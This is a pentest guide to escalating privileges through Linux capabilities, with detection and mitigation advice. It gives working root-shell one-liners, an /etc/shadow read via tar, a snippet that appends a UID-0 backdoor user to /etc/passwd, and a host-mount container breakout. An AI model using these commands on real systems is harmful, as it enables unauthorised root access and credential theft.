Linux Capabilities

Overview

Linux capabilities split the traditional root privilege into distinct units that can be assigned to binaries individually. Instead of granting full root access via SUID, a binary can receive only the specific capability it needs (e.g., cap_net_raw for raw sockets). However, certain capabilities are dangerous — they provide enough privilege to escalate to full root. When binaries have overly permissive capabilities, they become escalation vectors.

ATT&CK Mapping

  • Tactic: TA0004 - Privilege Escalation
  • Technique: T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid

Prerequisites

  • Shell access on the target system
  • getcap available (part of libcap2-bin, installed by default on most distributions)

Techniques

Discovery

# Find all binaries with capabilities
getcap -r / 2>/dev/null

# Check a specific binary
getcap /usr/bin/python3

Output format (libcap >= 2.43, current default on modern distros):

/usr/bin/python3 cap_setuid=ep
/usr/bin/ping cap_net_raw=ep

Capability flags: - e (effective) — capability is active - p (permitted) — capability can be used - i (inheritable) — capability is passed to child processes

Dangerous Capabilities

Capability Risk Escalation Path
cap_setuid Set UID to 0 (root) Direct root shell
cap_setgid Set GID to 0 (root) Access root group files
cap_dac_override Bypass file read/write permissions Read /etc/shadow, write /etc/passwd
cap_dac_read_search Bypass file read permissions Read any file on the system
cap_sys_admin Broad administrative capability Mount filesystems, load modules
cap_sys_ptrace Trace and modify processes Inject into root processes
cap_fowner Bypass ownership checks Modify any file
cap_chown Change file ownership Take ownership of sensitive files
cap_net_raw Raw sockets Network sniffing (not direct root)
cap_sys_module Load kernel modules Load malicious kernel modules

cap_setuid Exploitation

The most direct escalation — the binary can change its UID to 0:

# Python with cap_setuid
# getcap output: /usr/bin/python3 cap_setuid=ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# gdb with cap_setuid
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit

cap_dac_read_search Exploitation

Read any file regardless of permissions:

# tar with cap_dac_read_search — read /etc/shadow
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
cat /tmp/etc/shadow

cap_dac_override Exploitation

Read and write any file:

# Python with cap_dac_override — write to /etc/passwd
python3 -c '
import subprocess
password = subprocess.check_output(["openssl", "passwd", "-6", "-salt", "salt", "password123"]).decode().strip()
line = f"root2:{password}:0:0:root:/root:/bin/bash\n"
with open("/etc/passwd", "a") as f:
    f.write(line)
'
su root2
# Password: password123

# vim with cap_dac_override — edit any file
vim /etc/shadow

cap_sys_admin Exploitation

cap_sys_admin is extremely broad and allows mounting filesystems:

# Mount the host filesystem (useful in container breakout)
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Access host files at /mnt/host/

cap_sys_ptrace Exploitation

Attach to and inject code into running processes:

# Python with cap_sys_ptrace — inject into a root process
# Find a root process
ps aux | grep '^root'
# Use ptrace to inject shellcode (requires custom exploit or tool)

cap_sys_module Exploitation

Load a kernel module that grants root:

// rootmod.c — kernel module that sets current process UID to 0
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kmod.h>

MODULE_LICENSE("GPL");

static int __init root_init(void) {
    // This approach varies by kernel version
    // Simplified example — real exploit requires matching kernel structures
    return 0;
}

static void __exit root_exit(void) {}

module_init(root_init);
module_exit(root_exit);

Detection Methods

Network-Based Detection

  • Not applicable — capabilities exploitation is local

Host-Based Detection

  • Regular capability audits: getcap -r / 2>/dev/null compared against baseline
  • Monitor for unexpected capability changes with auditd
  • Alert on processes changing UID to 0 from non-login sources

Mitigation Strategies

  • Minimize capabilities — only assign the specific capability each binary needs
  • Avoid dangerous capabilities — never assign cap_setuid, cap_dac_override, cap_sys_admin, or cap_sys_module unless absolutely required
  • Regular audits — periodically run getcap -r / and compare against a known-good baseline
  • Use capabilities instead of SUID — capabilities are more granular than SUID, but still require careful assignment
  • Do not grant inheritable flag — when assigning capabilities, use +ep not +eip; the i (inheritable) flag allows child processes to inherit the capability across execve

References

Official Documentation

Pentest Guides & Research

MITRE ATT&CK